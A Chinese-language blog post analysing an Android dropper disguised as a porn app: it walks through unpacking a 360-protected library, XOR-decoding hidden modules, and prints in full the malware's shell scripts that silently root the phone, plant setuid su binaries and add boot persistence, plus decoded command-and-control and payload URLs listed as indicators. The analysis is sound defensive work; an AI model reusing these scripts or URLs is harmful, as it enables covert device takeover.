2016年5月14日 星期六

pronclub.apk分析

這是一個假冒色情軟體的App,實際上會Root你的Android手機然後安裝惡意軟體



這次的這隻真有夠麻煩的呀...

繞了一大半圈在脫so殼,結果發現脫完殼的程式是殼本身...傻眼了

不過對於用IDA動態追蹤so殼倒是增加了不少經驗

本來apktool解開後看到assets裡有libjiagu.so很明顯的特徵

就很賣力的往so脫殼研究,一路上遇到了各種問題

不過卡最久的居然是最跟技術無關的問題(用Emulator跑的話會超時,沒辦法追)...所以前幾天跟朋友借了不要的Android手機來測試,果真可以trace了= =傻眼

程式的入口被360的加固保pack起來了,透過JNI載入libjiagu.so


(粗略)

so殼基本上有anti debug保護,會去讀/proc/self/status看TracerPid
還有讀/proc/net/tcp看看有沒有打開port 23946(就是IDA的android_server_nonpie執行後會聽的port)

看是要在IDA debugger途中改register的值或是直接patch這支libjiagu.so都可以

在libc的mmap下中斷,跑過幾次之後就差不多解壓縮完畢了

追到途中可以看到解壓縮完出現DEX的magic header特徵了

下圖中是紅色匡起來的部分是DEX的magic還有file size


把開頭的地址加上file size(0x155c)結尾就是我們要dump的範圍,寫個idc腳本來dump dex


好像上次還沒有還原完就dump了,所以依然還是殼的入口點

這次脫完殼之後就可以看到原本程式的樣貌了:


開機會自動執行


會偵測安裝的程式有沒有符合他特定名稱的:

看起來跟假的獵豹和CoolBrowser有關聯

會把下載下來的惡意程式取名為com.parbat.sysdp




其中又利用了另外兩個檔案,像是right_core.apk還有Update,這兩個檔案都是被XOR變形過的



right_core.apk主要是拿來root手機的模組

Update則是拿來更新友盟SDK之類的相關組件的模組,基本上無害,可以忽略

right_core.apk的XOR key是0xFF,Update的XOR key是0xF7,分別XOR還原看看

來看看right_core.apk...

會檢查是否有root權限

 有很多的Base64的字串是路徑或是C&C Server或惡意下載連結



解碼過後分別是下面的字串:
NoIconApp.apk
http://manage.hummerlauncher.com:10010/c/40
http://manage.hummerlauncher.com:10010/c/39
http://manage.hummerlauncher.com:10010/c/43
http://manage.hummerlauncher.com:10010/c/50
http://manage.hummerlauncher.com:10010/c/51
http://manage.hummerlauncher.com:10010/c/53
http://manage.hummerlauncher.com:10010/c/55
http://manage.hummerlauncher.com:10010/c/61
http://manage.hummerlauncher.com:10010/c/44
http://manage.hummerlauncher.com:10010/c/31
http://manage.hummerlauncher.com:10010/c/29
http://manage.hummerlauncher.com:10010/c/30

會取NoIconApp.apk這個檔名應該是設計來不顯示在桌面的隱藏惡意程式
至於那一連串的網址則是root工具的下載網址

下面還有一些沒有經過Base64加密的下載網址:

http://cdn.sh-jxzx.com/z/u/apk/SN-SDK-5002.apk
http://fget.guangbom.com:7012/getSSPDownUrl.do?cid=11
http://d2b7xycc4g1w1e.cloudfront.net/upload/apk/1435636098822.apk
http://fget.guangbom.com:7012/getSSPDownUrl.do?cid=119

然後中間有些片段會去判斷你有沒有Root過,沒有的話會偷偷幫你Root

會偷偷搜集資訊傳回C&C server


會釋出right_core.apk包裡的support.bmp的資源,是個ARM ELF32的執行檔

主要是將root相關的程式放置到定位

其他太多啦~就用純文字貼上
#!/system/bin/sh
ipm
pm install -r $APKPATH/$APKFILE
echo sucess


#!/system/bin/sh
mount -o rw,remount /system
cat $APKPATH/$APKFILE > /system/app/$APKFILE
chmod 0644 /system/app/$APKFILE
pm install -r /system/app/$APKFILE

mount -o ro,remount /system
echo sucess


#!/system/bin/sh
#Power by www.rootzhushou.com
#Pansing

TEMPPATH=/data/data/$PACKAGE/files
BUSYBOX=/data/data/$PACKAGE/files/busybox
export PATH=$TEMPPATH:$PATH

chmod 777 $TEMPPATH/busybox
uid=$(busybox id -u)
if [ $uid -ne 0 ]; then
echo \"Are you root ? OK ,try anyway.\"
fi
busybox mount -o remount,rw /system
busybox cat $TEMPPATH/su > /system/xbin/su
chown 0.0 /system/xbin/su\nchmod 6755 /system/xbin/su
busybox cat $TEMPPATH/busybox > /system/xbin/busybox
chown 0.0 /system/xbin/busybox
chmod 755 /system/xbin/busybox
echo \"Now, your device is rooted !\"
sync


#!/system/bin/sh
mount -o rw,remount /system
/data/data/$PACKAGE/files/busybox mount -o rw,remount /system
/system/bin/stop nac_server
/data/data/$PACKAGE/files/busybox rm -r -f /system/xbin/su
/data/data/$PACKAGE/files/busybox rm -r -f /system/bin/su
/data/data/$PACKAGE/files/busybox rm -r -f /system/bin/ipm
/data/data/$PACKAGE/files/busybox rm -r -f /system/xbin/daemonsu
/data/data/$PACKAGE/files/busybox cat /data/data/$PACKAGE/files/su > /system/bin/su
/data/data/$PACKAGE/files/busybox cat /data/data/$PACKAGE/files/ipm > /system/bin/ipm
/data/data/$PACKAGE/files/busybox chown 0.0 /system/bin/su
/data/data/$PACKAGE/files/busybox chmod 6755 /system/bin/su
/data/data/$PACKAGE/files/busybox chown 0.0 /system/bin/ipm
/data/data/$PACKAGE/files/busybox chmod 6755 /system/bin/ipm
/data/data/$PACKAGE/files/busybox cat /system/bin/su > /system/xbin/su
/data/data/$PACKAGE/files/busybox chown 0.0 /system/xbin/su
/data/data/$PACKAGE/files/busybox chmod 6755 /system/xbin/su
/data/data/$PACKAGE/files/busybox cat /system/xbin/su > /system/xbin/daemonsu
/data/data/$PACKAGE/files/busybox chown 0.0 /system/xbin/daemonsu
/data/data/$PACKAGE/files/busybox chmod 6755 /system/xbin/daemonsu
/data/data/$PACKAGE/files/busybox cat /system/xbin/su > /system/xbin/ku.sud
/data/data/$PACKAGE/files/busybox chown 0.0 /system/xbin/ku.sud
/data/data/$PACKAGE/files/busybox chmod 6755 /system/xbin/ku.sud
/data/data/$PACKAGE/files/busybox cat /data/data/$PACKAGE/files/install-recovery.sh > /system/etc/install-recovery.sh
/data/data/$PACKAGE/files/busybox chown 0.0 /system/etc/install-recovery.sh
/data/data/$PACKAGE/files/busybox chmod 6755 /system/etc/install-recovery.sh
/data/data/$PACKAGE/files/busybox cat /data/data/$PACKAGE/files/99SuperSUDaemon > /system/etc/init.d/99SuperSUDaemon
/data/data/$PACKAGE/files/busybox chown 0.0 /system/etc/init.d/99SuperSUDaemon
/data/data/$PACKAGE/files/busybox chmod 6755 /system/etc/init.d/99SuperSUDaemon
mount -o ro,remount /system
/data/data/$PACKAGE/files/busybox mount -o ro,remount /system
echo \"Now, script finish!\"


#!/system/bin/sh
#Power by www.rootzhushou.com
#Pansing

TEMPPATH=/data/data/$PACKAGE/files
BUSYBOX=/data/data/$PACKAGE/files/busybox
export PATH=$TEMPPATH:$PATH

chmod 777 $TEMPPATH/busybox
uid=$(busybox id -u)
if [ $uid -ne 0 ]; then
echo \"Are you root ? OK ,try anyway.\"
fi
mount -o remount,rw /system
$BUSYBOX mount -o remount,rw /system
if [ -e \"/system/xbin/su\" -o -L \"/system/xbin/su\" ]; then
echo \"Delete xbin su ...\"
$BUSYBOX rm -rf /system/xbin/su
fi
r
if [ -e \"/system/bin/su\" -o -L \"/system/bin/su\" ]; then
echo \"Delete bin su ...\"
$BUSYBOX rm -rf /system/bin/su
fi
/system/bin/stop nac_server
$BUSYBOX cat $TEMPPATH/su > /system/xbin/su
$BUSYBOX chown 0.0 /system/xbin/su
$BUSYBOX chmod 6755 /system/xbin/su
$BUSYBOX cat /system/xbin/su > /system/bin/su
$BUSYBOX chown 0.0 /system/bin/su
$BUSYBOX chmod 6755 /system/bin/su
$BUSYBOX cat $TEMPPATH/busybox > /system/xbin/busybox
$BUSYBOX chown 0.0 /system/xbin/busybox
$BUSYBOX chmod 755 /system/xbin/busybox

echo \"Now, your device is rooted !\"
sync

從擷取的封包可以看得出來會連到惡意的下載網址





會傳回一些資料到C&C server:

 



會回傳詳細的手機資料還有手機中有哪些程式回C&C server:

最主要的部分大概是這樣,因為這支程式主要是個dropper

IOCs:
http://d795nz9qqyd60.cloudfront.net/upload/apk/1435636098822.apk
http://manage.hummerlauncher.com:10010/c/40
http://manage.hummerlauncher.com:10010/c/39
http://manage.hummerlauncher.com:10010/c/43
http://manage.hummerlauncher.com:10010/c/50
http://manage.hummerlauncher.com:10010/c/51
http://manage.hummerlauncher.com:10010/c/53
http://manage.hummerlauncher.com:10010/c/55
http://manage.hummerlauncher.com:10010/c/61
http://manage.hummerlauncher.com:10010/c/44
http://manage.hummerlauncher.com:10010/c/31
http://manage.hummerlauncher.com:10010/c/29
http://manage.hummerlauncher.com:10010/c/30
http://cdn.sh-jxzx.com/z/u/apk/SN-SDK-5002.apk
http://fget.guangbom.com:7012/getSSPDownUrl.do?cid=11
http://d2b7xycc4g1w1e.cloudfront.net/upload/apk/1435636098822.apk
http://fget.guangbom.com:7012/getSSPDownUrl.do?cid=119
http://fget.cscs100.com:7012/getSSPDownUrl.do?cid=121
http://fget.cscs200.com:7012/getSSPDownUrl.do?cid=121
http://dp.hydpapi.com:10086
http://dp.hhhhhyyyyy.com:10086

沒有留言:

張貼留言